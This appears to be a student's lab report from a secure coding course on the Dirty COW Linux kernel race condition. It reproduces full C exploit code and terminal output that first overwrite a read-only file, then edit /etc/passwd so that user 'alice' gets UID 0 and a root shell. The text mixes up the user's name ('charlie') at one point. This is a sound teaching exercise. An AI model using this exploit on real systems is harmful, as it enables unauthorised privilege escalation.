

21CY682 - SECURE CODING LAB

DIRTY COW RACE CONDITION

This vulnerability resides in the code of copy-on write inside Linux kernel. By exploiting this vulnerability, attackers can modify any protected file, even though these files are only readable to them.

Task 1 : Modifying a Dummy Read-Only File

Creating a dummy file :

```
[12/28/2022 09:15] seed@ubuntu:~/dcow$ sudo touch /zzz
[sudo] password for seed:
[12/28/2022 09:15] seed@ubuntu:~/dcow$ sudo chmod 644 /zzz
[12/28/2022 09:15] seed@ubuntu:~/dcow$ sudo gedit /zzz
[12/28/2022 09:15] seed@ubuntu:~/dcow$ cat /zzz
111111222222333333
[12/28/2022 09:15] seed@ubuntu:~/dcow$ ls -al /zzz
-rw-r--r-- 1 root root 19 Dec 28 09:15 /zzz
[12/28/2022 09:16] seed@ubuntu:~/dcow$ echo 9283> /zzz
bash: /zzz: Permission denied
[12/28/2022 09:16] seed@ubuntu:~/dcow$ █
```

Here /zzz file is created with root permission for write not for normal users. It is read-only and normal user can't modify the file.

Creating cow_attack vulnerability file :

cow_attack.c :

```

/* cow_attack.c (the main thread) */

#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>

void *map;

int main(int argc, char *argv[])
{
    pthread_t pth1, pth2;
    struct stat st;
    int file_size;

    // Open the target file in the read-only mode.
    int f=open("/zzz", O_RDONLY);

    // Map the file to COW memory using MAP_PRIVATE.
    fstat(f, &st);
    file_size = st.st_size;
    map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

    // Find the position of the target area
    char *position = strstr(map, "222222"); ①

    // We have to do the attack using two threads.
    pthread_create(&pth1, NULL, madviseThread, (void *)file_size); ②
    pthread_create(&pth2, NULL, writeThread, position);

    // Wait for the threads to finish.
    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);
    return 0;
}

```

writeThread :

```

void *writeThread(void *arg)
{
    char *content= "*****";
    off_t offset = (off_t) arg;

    int f=open("/proc/self/mem", O_RDWR);
    while(1) {
        // Move the file pointer to the corresponding position.
        lseek(f, offset, SEEK_SET);
        // Write to the memory.
        write(f, content, strlen(content));
    }
}

```

madvise Thread :

```
void *madviseThread(void *arg)
{
    int file_size = (int) arg;
    while(1){
        madvise(map, file_size, MADV_DONTNEED);
    }
}
```

Launching Attack :

The only way for the attack to succeed is to perform the `madvise()` system call while the `write()` system call is still running.

```
[12/28/2022 09:27] seed@ubuntu:~/dcow$ gcc cow_attack.c -lpthread
[12/28/2022 09:27] seed@ubuntu:~/dcow$ ./a.out
^C
[12/28/2022 09:27] seed@ubuntu:~/dcow$ cat /zzz
111111*****333333
[12/28/2022 09:27] seed@ubuntu:~/dcow$
```

Thus the read-only file `/zzz` got modified as "222222" value changed to "*****" due to the Dirty COW racecondition attack.

Task 2 : Modify the Password File to Gain the Root Privilege

Before experimenting , we are creating a new user called “alice”

```
[12/28/2022 09:29] seed@ubuntu:~/dcow$ sudo adduser alice
Adding user `alice' ...
Adding new group `alice' (1002) ...
Adding new user `alice' (1001) with group `alice' ...
Creating home directory `/home/alice' ...
Copying files from `/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for alice
Enter the new value, or press ENTER for the default
    Full Name []: alice
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n] y
```

```
[12/28/2022 09:32] seed@ubuntu:~/dcow$ cat /etc/passwd | grep alice
alice:x:1001:1002:alice,,,:/home/alice:/bin/bash
```

We need to modify the third field of charlie from 1001 to ” 0000 ” which depicts the root user.

Modifying the cow_attack.c file to change the contents of charlie to 0000 in /etc/passwd file.

```
// Open the target file in the read-only mode.
int f=open("/etc/passwd", O_RDONLY);
// Map the file to COW memory using MAP_PRIVATE.
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
// Find the position of the target area
char *position = strstr(map, "alice:x:1001");
```

```
void *writeThread(void *arg)
{
char *content= "alice:x:0000";
off_t offset = (off_t) arg;
int f=open("/proc/self/mem", O_RDWR);
```

Before executing this file , alice is a normal user.

```
[12/28/2022 09:34] seed@ubuntu:~/dcow$ su alice
Password:
alice@ubuntu:/home/seed/dcow$ id
uid=1001(alice) gid=1002(alice) groups=1002(alice)
```

After executing the cow_attack.c , the vulnerability changes the value of alice into 0000 in /etc/passwd file giving root access.

```
[12/28/2022 09:42] seed@ubuntu:~/dcow$ cat /etc/passwd | grep alice
alice:x:1001:1002:alice,,,:/home/alice:/bin/bash
[12/28/2022 09:42] seed@ubuntu:~/dcow$ gcc cow_attack.c -lpthread
[12/28/2022 09:43] seed@ubuntu:~/dcow$ ./a.out
^C
[12/28/2022 09:43] seed@ubuntu:~/dcow$ cat /etc/passwd | grep alice
alice:x:0000:1002:alice,,,:/home/alice:/bin/bash
[12/28/2022 09:43] seed@ubuntu:~/dcow$ su alice
Password:
root@ubuntu:/home/seed/dcow# id
uid=0(root) gid=1002(alice) groups=0(root),1002(alice)
```

Thus , alice got the root access by modifying /etc/passwd file through Dirty COW Race condition vulnerability.